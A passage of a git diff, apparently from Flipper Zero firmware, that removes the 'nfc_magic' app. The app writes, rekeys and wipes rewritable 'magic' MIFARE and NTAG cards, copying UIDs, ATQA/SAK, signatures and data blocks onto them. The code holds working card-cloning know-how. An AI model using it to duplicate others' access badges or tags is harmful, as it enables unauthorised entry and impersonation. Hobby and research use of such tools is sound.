(uint8_t)(pwd >> 24); - tx_data[2] = (uint8_t)(pwd >> 16); - tx_data[3] = (uint8_t)(pwd >> 8); - tx_data[4] = (uint8_t)pwd; - tx_data[5] = MAGIC_CMD_GET_CFG; - ret = furi_hal_nfc_ll_txrx( - tx_data, - 6, - rx_data, - sizeof(rx_data), - &rx_len, - FURI_HAL_NFC_TXRX_DEFAULT, - furi_hal_nfc_ll_ms2fc(20)); - if(ret != FuriHalNfcReturnOk) break; - if(rx_len != 30 && rx_len != 32) break; - memcpy(config, rx_data, rx_len); - is_valid_config_len = true; - } while(false); - - return is_valid_config_len; -} - -bool magic_gen4_set_cfg(uint32_t pwd, const uint8_t* config, uint8_t config_length, bool fuse) { - bool write_success = false; - uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; - uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; - uint16_t rx_len = 0; - FuriHalNfcReturn ret = 0; - - do { - // Start communication - tx_data[0] = MAGIC_CMD_PREFIX; - tx_data[1] = (uint8_t)(pwd >> 24); - tx_data[2] = (uint8_t)(pwd >> 16); - tx_data[3] = (uint8_t)(pwd >> 8); - tx_data[4] = (uint8_t)pwd; - tx_data[5] = fuse ? MAGIC_CMD_FUSE_CFG : MAGIC_CMD_SET_CFG; - memcpy(tx_data + 6, config, config_length); - ret = furi_hal_nfc_ll_txrx( - tx_data, - 6 + config_length, - rx_data, - sizeof(rx_data), - &rx_len, - FURI_HAL_NFC_TXRX_DEFAULT, - furi_hal_nfc_ll_ms2fc(20)); - if(ret != FuriHalNfcReturnOk) break; - if(rx_len != 2) break; - write_success = true; - } while(false); - - return write_success; -} - -bool magic_gen4_set_pwd(uint32_t old_pwd, uint32_t new_pwd) { - bool change_success = false; - uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; - uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; - uint16_t rx_len = 0; - FuriHalNfcReturn ret = 0; - - do { - // Start communication - tx_data[0] = MAGIC_CMD_PREFIX; - tx_data[1] = (uint8_t)(old_pwd >> 24); - tx_data[2] = (uint8_t)(old_pwd >> 16); - tx_data[3] = (uint8_t)(old_pwd >> 8); - tx_data[4] = (uint8_t)old_pwd; - tx_data[5] = MAGIC_CMD_SET_PWD; - tx_data[6] = (uint8_t)(new_pwd >> 24); - tx_data[7] = (uint8_t)(new_pwd >> 16); - tx_data[8] = (uint8_t)(new_pwd >> 8); - tx_data[9] = (uint8_t)new_pwd; - ret = furi_hal_nfc_ll_txrx( - tx_data, - 10, - rx_data, - sizeof(rx_data), - &rx_len, - FURI_HAL_NFC_TXRX_DEFAULT, - furi_hal_nfc_ll_ms2fc(20)); - FURI_LOG_I(TAG, "ret %d, len %d", ret, rx_len); - if(ret != FuriHalNfcReturnOk) break; - if(rx_len != 2) break; - change_success = true; - } while(false); - - return change_success; -} - -bool magic_gen4_write_blk(uint32_t pwd, uint8_t block_num, const uint8_t* data) { - bool write_success = false; - uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; - uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; - uint16_t rx_len = 0; - FuriHalNfcReturn ret = 0; - - do { - // Start communication - tx_data[0] = MAGIC_CMD_PREFIX; - tx_data[1] = (uint8_t)(pwd >> 24); - tx_data[2] = (uint8_t)(pwd >> 16); - tx_data[3] = (uint8_t)(pwd >> 8); - tx_data[4] = (uint8_t)pwd; - tx_data[5] = MAGIC_CMD_WRITE; - tx_data[6] = block_num; - memcpy(tx_data + 7, data, 16); - ret = furi_hal_nfc_ll_txrx( - tx_data, - 23, - rx_data, - sizeof(rx_data), - &rx_len, - FURI_HAL_NFC_TXRX_DEFAULT, - furi_hal_nfc_ll_ms2fc(200)); - if(ret != FuriHalNfcReturnOk) break; - if(rx_len != 2) break; - write_success = true; - } while(false); - - return write_success; -} - -bool magic_gen4_wipe(uint32_t pwd) { - if(!magic_gen4_set_cfg(pwd, MAGIC_DEFAULT_CONFIG, sizeof(MAGIC_DEFAULT_CONFIG), false)) { - FURI_LOG_E(TAG, "Set config failed"); - return false; - } - if(!magic_gen4_write_blk(pwd, 0, MAGIC_DEFAULT_BLOCK0)) { - FURI_LOG_E(TAG, "Block 0 write failed"); - return false; - } - for(size_t i = 1; i < 64; i++) { - const uint8_t* block = magic_gen4_is_block_num_trailer(i) ? MAGIC_DEFAULT_SECTOR_TRAILER : MAGIC_EMPTY_BLOCK; - if(!magic_gen4_write_blk(pwd, i, block)) { - FURI_LOG_E(TAG, "Block %d write failed", i); - return false; - } - } - for(size_t i = 65; i < 256; i++) { - if(!magic_gen4_write_blk(pwd, i, MAGIC_EMPTY_BLOCK)) { - FURI_LOG_E(TAG, "Block %d write failed", i); - return false; - } - } - - return true; -} \ No newline at end of file diff --git a/applications/external/nfc_magic/lib/magic/gen4.h b/applications/external/nfc_magic/lib/magic/gen4.h deleted file mode 100644 index c515af820..000000000 --- a/applications/external/nfc_magic/lib/magic/gen4.h +++ /dev/null @@ -1,48 +0,0 @@ -#pragma once - -#include - -#define MAGIC_GEN4_DEFAULT_PWD 0x00000000 -#define MAGIC_GEN4_CONFIG_LEN 32 - -#define NFCID1_SINGLE_SIZE 4 -#define NFCID1_DOUBLE_SIZE 7 -#define NFCID1_TRIPLE_SIZE 10 - -typedef enum { - MagicGen4UIDLengthSingle = 0x00, - MagicGen4UIDLengthDouble = 0x01, - MagicGen4UIDLengthTriple = 0x02 -} MagicGen4UIDLength; - -typedef enum { - MagicGen4UltralightModeUL_EV1 = 0x00, - MagicGen4UltralightModeNTAG = 0x01, - MagicGen4UltralightModeUL_C = 0x02, - MagicGen4UltralightModeUL = 0x03 -} MagicGen4UltralightMode; - -typedef enum { - // for writing original (shadow) data - MagicGen4ShadowModePreWrite = 0x00, - // written data can be read once before restored to original - MagicGen4ShadowModeRestore = 0x01, - // written data is discarded - MagicGen4ShadowModeIgnore = 0x02, - // apparently for UL? - MagicGen4ShadowModeHighSpeedIgnore = 0x03 -} MagicGen4ShadowMode; - -bool magic_gen4_get_cfg(uint32_t pwd, uint8_t* config); - -bool magic_gen4_set_cfg(uint32_t pwd, const uint8_t* config, uint8_t config_length, bool fuse); - -bool magic_gen4_set_pwd(uint32_t old_pwd, uint32_t new_pwd); - -bool magic_gen4_read_blk(uint32_t pwd, uint8_t block_num, uint8_t* data); - -bool magic_gen4_write_blk(uint32_t pwd, uint8_t block_num, const uint8_t* data); - -bool magic_gen4_wipe(uint32_t pwd); - -void magic_gen4_deactivate(); diff --git a/applications/external/nfc_magic/lib/magic/types.c b/applications/external/nfc_magic/lib/magic/types.c deleted file mode 100644 index 77c6c0a4e..000000000 --- a/applications/external/nfc_magic/lib/magic/types.c +++ /dev/null @@ -1,23 +0,0 @@ -#include "types.h" - -const char* nfc_magic_type(MagicType type) { - if(type == MagicTypeClassicGen1) { - return "Classic Gen 1A/B"; - } else if(type == MagicTypeClassicDirectWrite) { - return "Classic DirectWrite"; - } else if(type == MagicTypeClassicAPDU) { - return "Classic APDU"; - } else if(type == MagicTypeUltralightGen1) { - return "Ultralight Gen 1"; - } else if(type == MagicTypeUltralightDirectWrite) { - return "Ultralight DirectWrite"; - } else if(type == MagicTypeUltralightC_Gen1) { - return "Ultralight-C Gen 1"; - } else if(type == MagicTypeUltralightC_DirectWrite) { - return "Ultralight-C DirectWrite"; - } else if(type == MagicTypeGen4) { - return "Gen 4 GTU"; - } else { - return "Unknown"; - } -} diff --git a/applications/external/nfc_magic/lib/magic/types.h b/applications/external/nfc_magic/lib/magic/types.h deleted file mode 100644 index dbf554063..000000000 --- a/applications/external/nfc_magic/lib/magic/types.h +++ /dev/null @@ -1,5 +0,0 @@ -#pragma once - -#include "common.h" - -const char* nfc_magic_type(MagicType type); \ No newline at end of file diff --git a/applications/external/nfc_magic/nfc_magic.c b/applications/external/nfc_magic/nfc_magic.c deleted file mode 100644 index 68c9a65b5..000000000 --- a/applications/external/nfc_magic/nfc_magic.c +++ /dev/null @@ -1,184 +0,0 @@ -#include "nfc_magic_i.h" - -bool nfc_magic_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - NfcMagic* nfc_magic = context; - return scene_manager_handle_custom_event(nfc_magic->scene_manager, event); -} - -bool nfc_magic_back_event_callback(void* context) { - furi_assert(context); - NfcMagic* nfc_magic = context; - return scene_manager_handle_back_event(nfc_magic->scene_manager); -} - -void nfc_magic_tick_event_callback(void* context) { - furi_assert(context); - NfcMagic* nfc_magic = context; - scene_manager_handle_tick_event(nfc_magic->scene_manager); -} - -void nfc_magic_show_loading_popup(void* context, bool show) { - NfcMagic* nfc_magic = context; - TaskHandle_t timer_task = xTaskGetHandle(configTIMER_SERVICE_TASK_NAME); - - if(show) { - // Raise timer priority so that animations can play - vTaskPrioritySet(timer_task, configMAX_PRIORITIES - 1); - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewLoading); - } else { - // Restore default timer priority - vTaskPrioritySet(timer_task, configTIMER_TASK_PRIORITY); - } -} - -NfcMagic* nfc_magic_alloc() { - NfcMagic* nfc_magic = malloc(sizeof(NfcMagic)); - - nfc_magic->worker = nfc_magic_worker_alloc(); - nfc_magic->view_dispatcher = view_dispatcher_alloc(); - nfc_magic->scene_manager = scene_manager_alloc(&nfc_magic_scene_handlers, nfc_magic); - view_dispatcher_enable_queue(nfc_magic->view_dispatcher); - view_dispatcher_set_event_callback_context(nfc_magic->view_dispatcher, nfc_magic); - view_dispatcher_set_custom_event_callback( - nfc_magic->view_dispatcher, nfc_magic_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - nfc_magic->view_dispatcher, nfc_magic_back_event_callback); - view_dispatcher_set_tick_event_callback( - nfc_magic->view_dispatcher, nfc_magic_tick_event_callback, 100); - - // Nfc device - nfc_magic->dev = malloc(sizeof(NfcMagicDevice)); - nfc_magic->source_dev = nfc_device_alloc(); - furi_string_set(nfc_magic->source_dev->folder, NFC_APP_FOLDER); - - // Open GUI record - nfc_magic->gui = furi_record_open(RECORD_GUI); - view_dispatcher_attach_to_gui( - nfc_magic->view_dispatcher, nfc_magic->gui, ViewDispatcherTypeFullscreen); - - // Open Notification record - nfc_magic->notifications = furi_record_open(RECORD_NOTIFICATION); - - // Submenu - nfc_magic->submenu = submenu_alloc(); - view_dispatcher_add_view( - nfc_magic->view_dispatcher, NfcMagicViewMenu, submenu_get_view(nfc_magic->submenu)); - - // Popup - nfc_magic->popup = popup_alloc(); - view_dispatcher_add_view( - nfc_magic->view_dispatcher, NfcMagicViewPopup, popup_get_view(nfc_magic->popup)); - - // Loading - nfc_magic->loading = loading_alloc(); - view_dispatcher_add_view( - nfc_magic->view_dispatcher, NfcMagicViewLoading, loading_get_view(nfc_magic->loading)); - - // Text Input - nfc_magic->text_input = text_input_alloc(); - view_dispatcher_add_view( - nfc_magic->view_dispatcher, - NfcMagicViewTextInput, - text_input_get_view(nfc_magic->text_input)); - - // Byte Input - nfc_magic->byte_input = byte_input_alloc(); - view_dispatcher_add_view( - nfc_magic->view_dispatcher, - NfcMagicViewByteInput, - byte_input_get_view(nfc_magic->byte_input)); - - // Custom Widget - nfc_magic->widget = widget_alloc(); - view_dispatcher_add_view( - nfc_magic->view_dispatcher, NfcMagicViewWidget, widget_get_view(nfc_magic->widget)); - - return nfc_magic; -} - -void nfc_magic_free(NfcMagic* nfc_magic) { - furi_assert(nfc_magic); - - // Nfc device - free(nfc_magic->dev); - nfc_device_free(nfc_magic->source_dev); - - // Submenu - view_dispatcher_remove_view(nfc_magic->view_dispatcher, NfcMagicViewMenu); - submenu_free(nfc_magic->submenu); - - // Popup - view_dispatcher_remove_view(nfc_magic->view_dispatcher, NfcMagicViewPopup); - popup_free(nfc_magic->popup); - - // Loading - view_dispatcher_remove_view(nfc_magic->view_dispatcher, NfcMagicViewLoading); - loading_free(nfc_magic->loading); - - // Text Input - view_dispatcher_remove_view(nfc_magic->view_dispatcher, NfcMagicViewTextInput); - text_input_free(nfc_magic->text_input); - - // Byte Input - view_dispatcher_remove_view(nfc_magic->view_dispatcher, NfcMagicViewByteInput); - byte_input_free(nfc_magic->byte_input); - - // Custom Widget - view_dispatcher_remove_view(nfc_magic->view_dispatcher, NfcMagicViewWidget); - widget_free(nfc_magic->widget); - - // Worker - nfc_magic_worker_stop(nfc_magic->worker); - nfc_magic_worker_free(nfc_magic->worker); - - // View Dispatcher - view_dispatcher_free(nfc_magic->view_dispatcher); - - // Scene Manager - scene_manager_free(nfc_magic->scene_manager); - - // GUI - furi_record_close(RECORD_GUI); - nfc_magic->gui = NULL; - - // Notifications - furi_record_close(RECORD_NOTIFICATION); - nfc_magic->notifications = NULL; - - free(nfc_magic); -} - -static const NotificationSequence nfc_magic_sequence_blink_start_cyan = { - &message_blink_start_10, - &message_blink_set_color_cyan, - &message_do_not_reset, - NULL, -}; - -static const NotificationSequence nfc_magic_sequence_blink_stop = { - &message_blink_stop, - NULL, -}; - -void nfc_magic_blink_start(NfcMagic* nfc_magic) { - notification_message(nfc_magic->notifications, &nfc_magic_sequence_blink_start_cyan); -} - -void nfc_magic_blink_stop(NfcMagic* nfc_magic) { - notification_message(nfc_magic->notifications, &nfc_magic_sequence_blink_stop); -} - -int32_t nfc_magic_app(void* p) { - UNUSED(p); - NfcMagic* nfc_magic = nfc_magic_alloc(); - - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneStart); - - view_dispatcher_run(nfc_magic->view_dispatcher); - - magic_deactivate(); - nfc_magic_free(nfc_magic); - - return 0; -} diff --git a/applications/external/nfc_magic/nfc_magic.h b/applications/external/nfc_magic/nfc_magic.h deleted file mode 100644 index f9cf395d8..000000000 --- a/applications/external/nfc_magic/nfc_magic.h +++ /dev/null @@ -1,5 +0,0 @@ -#pragma once - -typedef struct NfcMagicDevice NfcMagicDevice; - -typedef struct NfcMagic NfcMagic; diff --git a/applications/external/nfc_magic/nfc_magic_i.h b/applications/external/nfc_magic/nfc_magic_i.h deleted file mode 100644 index e7875989f..000000000 --- a/applications/external/nfc_magic/nfc_magic_i.h +++ /dev/null @@ -1,95 +0,0 @@ -#pragma once - -#include "nfc_magic.h" -#include "nfc_magic_worker.h" - -#include "lib/magic/common.h" -#include "lib/magic/types.h" -#include "lib/magic/classic_gen1.h" -#include "lib/magic/gen4.h" - -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include - -#include - -#include "scenes/nfc_magic_scene.h" - -#include -#include - -#include -#include "nfc_magic_icons.h" -#include - -#define NFC_APP_FOLDER EXT_PATH("nfc") - -enum NfcMagicCustomEvent { - // Reserve first 100 events for button types and indexes, starting from 0 - NfcMagicCustomEventReserved = 100, - - NfcMagicCustomEventViewExit, - NfcMagicCustomEventWorkerExit, - NfcMagicCustomEventByteInputDone, - NfcMagicCustomEventTextInputDone, -}; - -struct NfcMagicDevice { - MagicType type; - uint32_t cuid; - uint8_t uid_len; - uint32_t password; -}; - -struct NfcMagic { - NfcMagicWorker* worker; - ViewDispatcher* view_dispatcher; - Gui* gui; - NotificationApp* notifications; - SceneManager* scene_manager; - struct NfcMagicDevice* dev; - NfcDevice* source_dev; - - uint32_t new_password; - - FuriString* text_box_store; - - // Common Views - Submenu* submenu; - Popup* popup; - Loading* loading; - TextInput* text_input; - ByteInput* byte_input; - Widget* widget; -}; - -typedef enum { - NfcMagicViewMenu, - NfcMagicViewPopup, - NfcMagicViewLoading, - NfcMagicViewTextInput, - NfcMagicViewByteInput, - NfcMagicViewWidget, -} NfcMagicView; - -NfcMagic* nfc_magic_alloc(); - -void nfc_magic_text_store_set(NfcMagic* nfc_magic, const char* text, ...); - -void nfc_magic_text_store_clear(NfcMagic* nfc_magic); - -void nfc_magic_blink_start(NfcMagic* nfc_magic); - -void nfc_magic_blink_stop(NfcMagic* nfc_magic); - -void nfc_magic_show_loading_popup(void* context, bool show); diff --git a/applications/external/nfc_magic/nfc_magic_worker.c b/applications/external/nfc_magic/nfc_magic_worker.c deleted file mode 100644 index 86f521b2b..000000000 --- a/applications/external/nfc_magic/nfc_magic_worker.c +++ /dev/null @@ -1,483 +0,0 @@ -#include "nfc_magic_worker_i.h" - -#include "nfc_magic_i.h" -#include "lib/magic/common.h" -#include "lib/magic/classic_gen1.h" -#include "lib/magic/gen4.h" - -#define TAG "NfcMagicWorker" - -static void - nfc_magic_worker_change_state(NfcMagicWorker* nfc_magic_worker, NfcMagicWorkerState state) { - furi_assert(nfc_magic_worker); - - nfc_magic_worker->state = state; -} - -NfcMagicWorker* nfc_magic_worker_alloc() { - NfcMagicWorker* nfc_magic_worker = malloc(sizeof(NfcMagicWorker)); - - // Worker thread attributes - nfc_magic_worker->thread = - furi_thread_alloc_ex("NfcMagicWorker", 8192, nfc_magic_worker_task, nfc_magic_worker); - - nfc_magic_worker->callback = NULL; - nfc_magic_worker->context = NULL; - - nfc_magic_worker_change_state(nfc_magic_worker, NfcMagicWorkerStateReady); - - return nfc_magic_worker; -} - -void nfc_magic_worker_free(NfcMagicWorker* nfc_magic_worker) { - furi_assert(nfc_magic_worker); - - furi_thread_free(nfc_magic_worker->thread); - free(nfc_magic_worker); -} - -void nfc_magic_worker_stop(NfcMagicWorker* nfc_magic_worker) { - furi_assert(nfc_magic_worker); - - nfc_magic_worker_change_state(nfc_magic_worker, NfcMagicWorkerStateStop); - furi_thread_join(nfc_magic_worker->thread); -} - -void nfc_magic_worker_start( - NfcMagicWorker* nfc_magic_worker, - NfcMagicWorkerState state, - NfcMagicDevice* magic_dev, - NfcDeviceData* dev_data, - uint32_t new_password, - NfcMagicWorkerCallback callback, - void* context) { - furi_assert(nfc_magic_worker); - furi_assert(magic_dev); - furi_assert(dev_data); - - furi_hal_nfc_deinit(); - furi_hal_nfc_init(); - - nfc_magic_worker->callback = callback; - nfc_magic_worker->context = context; - nfc_magic_worker->magic_dev = magic_dev; - nfc_magic_worker->dev_data = dev_data; - nfc_magic_worker->new_password = new_password; - nfc_magic_worker_change_state(nfc_magic_worker, state); - furi_thread_start(nfc_magic_worker->thread); -} - -int32_t nfc_magic_worker_task(void* context) { - NfcMagicWorker* nfc_magic_worker = context; - - if(nfc_magic_worker->state == NfcMagicWorkerStateCheck) { - nfc_magic_worker_check(nfc_magic_worker); - } else if(nfc_magic_worker->state == NfcMagicWorkerStateWrite) { - nfc_magic_worker_write(nfc_magic_worker); - } else if(nfc_magic_worker->state == NfcMagicWorkerStateRekey) { - nfc_magic_worker_rekey(nfc_magic_worker); - } else if(nfc_magic_worker->state == NfcMagicWorkerStateWipe) { - nfc_magic_worker_wipe(nfc_magic_worker); - } - - nfc_magic_worker_change_state(nfc_magic_worker, NfcMagicWorkerStateReady); - - return 0; -} - -void nfc_magic_worker_write(NfcMagicWorker* nfc_magic_worker) { - bool card_found_notified = false; - bool done = false; - FuriHalNfcDevData nfc_data = {}; - NfcMagicDevice* magic_dev = nfc_magic_worker->magic_dev; - NfcDeviceData* dev_data = nfc_magic_worker->dev_data; - NfcProtocol dev_protocol = dev_data->protocol; - - while(nfc_magic_worker->state == NfcMagicWorkerStateWrite) { - do { - if(magic_dev->type == MagicTypeClassicGen1) { - if(furi_hal_nfc_detect(&nfc_data, 200)) { - magic_deactivate(); - magic_activate(); - if(!magic_gen1_wupa()) { - FURI_LOG_E(TAG, "No card response to WUPA (not a magic card)"); - nfc_magic_worker->callback( - NfcMagicWorkerEventWrongCard, nfc_magic_worker->context); - done = true; - break; - } - magic_deactivate(); - } - magic_activate(); - if(magic_gen1_wupa()) { - magic_gen1_data_access_cmd(); - - MfClassicData* mfc_data = &dev_data->mf_classic_data; - for(size_t i = 0; i < 64; i++) { - FURI_LOG_D(TAG, "Writing block %d", i); - if(!magic_gen1_write_blk(i, &mfc_data->block[i])) { - FURI_LOG_E(TAG, "Failed to write %d block", i); - done = true; - nfc_magic_worker->callback( - NfcMagicWorkerEventFail, nfc_magic_worker->context); - break; - } - } - - done = true; - nfc_magic_worker->callback( - NfcMagicWorkerEventSuccess, nfc_magic_worker->context); - break; - } - } else if(magic_dev->type == MagicTypeGen4) { - if(furi_hal_nfc_detect(&nfc_data, 200)) { - uint8_t gen4_config[28]; - uint32_t password = magic_dev->password; - - uint32_t cuid; - if(dev_protocol == NfcDeviceProtocolMifareClassic) { - gen4_config[0] = 0x00; - gen4_config[27] = 0x00; - } else if(dev_protocol == NfcDeviceProtocolMifareUl) { - MfUltralightData* mf_ul_data = &dev_data->mf_ul_data; - gen4_config[0] = 0x01; - switch(mf_ul_data->type) { - case MfUltralightTypeUL11: - case MfUltralightTypeUL21: - // UL-C? - // UL? - default: - gen4_config[27] = MagicGen4UltralightModeUL_EV1; - break; - case MfUltralightTypeNTAG203: - case MfUltralightTypeNTAG213: - case MfUltralightTypeNTAG215: - case MfUltralightTypeNTAG216: - case MfUltralightTypeNTAGI2C1K: - case MfUltralightTypeNTAGI2C2K: - case MfUltralightTypeNTAGI2CPlus1K: - case MfUltralightTypeNTAGI2CPlus2K: - gen4_config[27] = MagicGen4UltralightModeNTAG; - break; - } - } - - if(dev_data->nfc_data.uid_len == 4) { - gen4_config[1] = MagicGen4UIDLengthSingle; - } else if(dev_data->nfc_data.uid_len == 7) { - gen4_config[1] = MagicGen4UIDLengthDouble; - } else { - FURI_LOG_E(TAG, "Unexpected UID length %d", dev_data->nfc_data.uid_len); - nfc_magic_worker->callback( - NfcMagicWorkerEventFail, nfc_magic_worker->context); - done = true; - break; - } - - gen4_config[2] = (uint8_t)(password >> 24); - gen4_config[3] = (uint8_t)(password >> 16); - gen4_config[4] = (uint8_t)(password >> 8); - gen4_config[5] = (uint8_t)password; - - if(dev_protocol == NfcDeviceProtocolMifareUl) { - gen4_config[6] = MagicGen4ShadowModeHighSpeedIgnore; - } else { - gen4_config[6] = MagicGen4ShadowModeIgnore; - } - gen4_config[7] = 0x00; - memset(gen4_config + 8, 0, 16); - gen4_config[24] = dev_data->nfc_data.atqa[0]; - gen4_config[25] = dev_data->nfc_data.atqa[1]; - gen4_config[26] = dev_data->nfc_data.sak; - - furi_hal_nfc_sleep(); - furi_hal_nfc_activate_nfca(200, &cuid); - if(!magic_gen4_set_cfg(password, gen4_config, sizeof(gen4_config), false)) { - nfc_magic_worker->callback( - NfcMagicWorkerEventFail, nfc_magic_worker->context); - done = true; - break; - } - if(dev_protocol == NfcDeviceProtocolMifareClassic) { - MfClassicData* mfc_data = &dev_data->mf_classic_data; - size_t block_count = 64; - if(mfc_data->type == MfClassicType4k) block_count = 256; - for(size_t i = 0; i < block_count; i++) { - FURI_LOG_D(TAG, "Writing block %d", i); - if(!magic_gen4_write_blk(password, i, mfc_data->block[i].value)) { - FURI_LOG_E(TAG, "Failed to write %d block", i); - nfc_magic_worker->callback( - NfcMagicWorkerEventFail, nfc_magic_worker->context); - done = true; - break; - } - } - } else if(dev_protocol == NfcDeviceProtocolMifareUl) { - MfUltralightData* mf_ul_data = &dev_data->mf_ul_data; - for(size_t i = 0; (i * 4) < mf_ul_data->data_read; i++) { - size_t data_offset = i * 4; - FURI_LOG_D( - TAG, - "Writing page %zu (%zu/%u)", - i, - data_offset, - mf_ul_data->data_read); - uint8_t* block = mf_ul_data->data + data_offset; - if(!magic_gen4_write_blk(password, i, block)) { - FURI_LOG_E(TAG, "Failed to write %zu page", i); - nfc_magic_worker->callback( - NfcMagicWorkerEventFail, nfc_magic_worker->context); - done = true; - break; - } - } - - uint8_t buffer[16] = {0}; - - for(size_t i = 0; i < 8; i++) { - memcpy(buffer, &mf_ul_data->signature[i * 4], 4); //-V1086 - if(!magic_gen4_write_blk(password, 0xF2 + i, buffer)) { - FURI_LOG_E(TAG, "Failed to write signature block %d", i); - nfc_magic_worker->callback( - NfcMagicWorkerEventFail, nfc_magic_worker->context); - done = true; - break; - } - } - - buffer[0] = mf_ul_data->version.header; - buffer[1] = mf_ul_data->version.vendor_id; - buffer[2] = mf_ul_data->version.prod_type; - buffer[3] = mf_ul_data->version.prod_subtype; - if(!magic_gen4_write_blk(password, 0xFA, buffer)) { - FURI_LOG_E(TAG, "Failed to write version block 0"); - nfc_magic_worker->callback( - NfcMagicWorkerEventFail, nfc_magic_worker->context); - done = true; - break; - } - - buffer[0] = mf_ul_data->version.prod_ver_major; - buffer[1] = mf_ul_data->version.prod_ver_minor; - buffer[2] = mf_ul_data->version.storage_size; - buffer[3] = mf_ul_data->version.protocol_type; - if(!magic_gen4_write_blk(password, 0xFB, buffer)) { - FURI_LOG_E(TAG, "Failed to write version block 1"); - nfc_magic_worker->callback( - NfcMagicWorkerEventFail, nfc_magic_worker->context); - done = true; - break; - } - } - - nfc_magic_worker->callback( - NfcMagicWorkerEventSuccess, nfc_magic_worker->context); - done = true; - break; - } - } - } while(false); - - if(done) break; - - if(card_found_notified) { - nfc_magic_worker->callback( - NfcMagicWorkerEventNoCardDetected, nfc_magic_worker->context); - card_found_notified = false; - } - - furi_delay_ms(300); - } - magic_deactivate(); -} - -void nfc_magic_worker_check(NfcMagicWorker* nfc_magic_worker) { - FuriHalNfcDevData nfc_data = {}; - NfcMagicDevice* magic_dev = nfc_magic_worker->magic_dev; - bool card_found_notified = false; - uint8_t gen4_config[MAGIC_GEN4_CONFIG_LEN]; - - while(nfc_magic_worker->state == NfcMagicWorkerStateCheck) { - magic_activate(); - if(magic_gen1_wupa()) { - magic_dev->type = MagicTypeClassicGen1; - if(!card_found_notified) { - nfc_magic_worker->callback( - NfcMagicWorkerEventCardDetected, nfc_magic_worker->context); - card_found_notified = true; - } - - if(furi_hal_nfc_detect(&nfc_data, 200)) { - magic_dev->cuid = nfc_data.cuid; - magic_dev->uid_len = nfc_data.uid_len; - } else { - // wrong BCC - magic_dev->uid_len = 4; - } - nfc_magic_worker->callback(NfcMagicWorkerEventSuccess, nfc_magic_worker->context); - break; - } else { - magic_deactivate(); - magic_activate(); - if(furi_hal_nfc_detect(&nfc_data, 200)) { - magic_dev->cuid = nfc_data.cuid; - magic_dev->uid_len = nfc_data.uid_len; - if(magic_gen4_get_cfg(magic_dev->password, gen4_config)) { - magic_dev->type = MagicTypeGen4; - if(!card_found_notified) { - nfc_magic_worker->callback( - NfcMagicWorkerEventCardDetected, nfc_magic_worker->context); - card_found_notified = true; - } - - nfc_magic_worker->callback( - NfcMagicWorkerEventSuccess, nfc_magic_worker->context); - } else { - nfc_magic_worker->callback( - NfcMagicWorkerEventWrongCard, nfc_magic_worker->context); - card_found_notified = true; - } - break; - } else { - if(card_found_notified) { - nfc_magic_worker->callback( - NfcMagicWorkerEventNoCardDetected, nfc_magic_worker->context); - card_found_notified = false; - } - } - } - - magic_deactivate(); - furi_delay_ms(300); - } - - magic_deactivate(); -} - -void nfc_magic_worker_rekey(NfcMagicWorker* nfc_magic_worker) { - NfcMagicDevice* magic_dev = nfc_magic_worker->magic_dev; - bool card_found_notified = false; - - if(magic_dev->type != MagicTypeGen4) { - nfc_magic_worker->callback(NfcMagicWorkerEventCardDetected, nfc_magic_worker->context); - return; - } - - while(nfc_magic_worker->state == NfcMagicWorkerStateRekey) { - magic_activate(); - uint32_t cuid; - furi_hal_nfc_activate_nfca(200, &cuid); - if(cuid != magic_dev->cuid) { - if(card_found_notified) { - nfc_magic_worker->callback( - NfcMagicWorkerEventNoCardDetected, nfc_magic_worker->context); - card_found_notified = false; - } - continue; - } - - nfc_magic_worker->callback(NfcMagicWorkerEventCardDetected, nfc_magic_worker->context); - card_found_notified = true; - - if(magic_gen4_set_pwd(magic_dev->password, nfc_magic_worker->new_password)) { - magic_dev->password = nfc_magic_worker->new_password; - nfc_magic_worker->callback(NfcMagicWorkerEventSuccess, nfc_magic_worker->context); - break; - } - - if(card_found_notified) { //-V547 - nfc_magic_worker->callback( - NfcMagicWorkerEventNoCardDetected, nfc_magic_worker->context); - card_found_notified = false; - } - furi_delay_ms(300); - } - magic_deactivate(); -} - -void nfc_magic_worker_wipe(NfcMagicWorker* nfc_magic_worker) { - NfcMagicDevice* magic_dev = nfc_magic_worker->magic_dev; - bool card_found_notified = false; - bool card_wiped = false; - - MfClassicBlock block; - memset(&block, 0, sizeof(MfClassicBlock)); - MfClassicBlock empty_block; - memset(&empty_block, 0, sizeof(MfClassicBlock)); - MfClassicBlock trailer_block; - memset(&trailer_block, 0xff, sizeof(MfClassicBlock)); - - block.value[0] = 0x01; - block.value[1] = 0x02; - block.value[2] = 0x03; - block.value[3] = 0x04; - block.value[4] = 0x04; - block.value[5] = 0x08; - block.value[6] = 0x04; - - trailer_block.value[7] = 0x07; - trailer_block.value[8] = 0x80; - trailer_block.value[9] = 0x69; - - while(nfc_magic_worker->state == NfcMagicWorkerStateWipe) { - do { - magic_deactivate(); - furi_delay_ms(300); - if(!magic_activate()) break; - if(magic_dev->type == MagicTypeClassicGen1) { - if(!magic_gen1_wupa()) break; - if(!card_found_notified) { - nfc_magic_worker->callback( - NfcMagicWorkerEventCardDetected, nfc_magic_worker->context); - card_found_notified = true; - } - - if(!magic_gen1_data_access_cmd()) break; - if(!magic_gen1_write_blk(0, &block)) break; - - for(size_t i = 1; i < 64; i++) { - FURI_LOG_D(TAG, "Wiping block %d", i); - bool success = false; - if((i | 0x03) == i) { - success = magic_gen1_write_blk(i, &trailer_block); - } else { - success = magic_gen1_write_blk(i, &empty_block); - } - - if(!success) { - FURI_LOG_E(TAG, "Failed to write %d block", i); - nfc_magic_worker->callback( - NfcMagicWorkerEventFail, nfc_magic_worker->context); - break; - } - } - - card_wiped = true; - nfc_magic_worker->callback(NfcMagicWorkerEventSuccess, nfc_magic_worker->context); - } else if(magic_dev->type == MagicTypeGen4) { - uint32_t cuid; - if(!furi_hal_nfc_activate_nfca(200, &cuid)) break; - if(cuid != magic_dev->cuid) break; - if(!card_found_notified) { - nfc_magic_worker->callback( - NfcMagicWorkerEventCardDetected, nfc_magic_worker->context); - 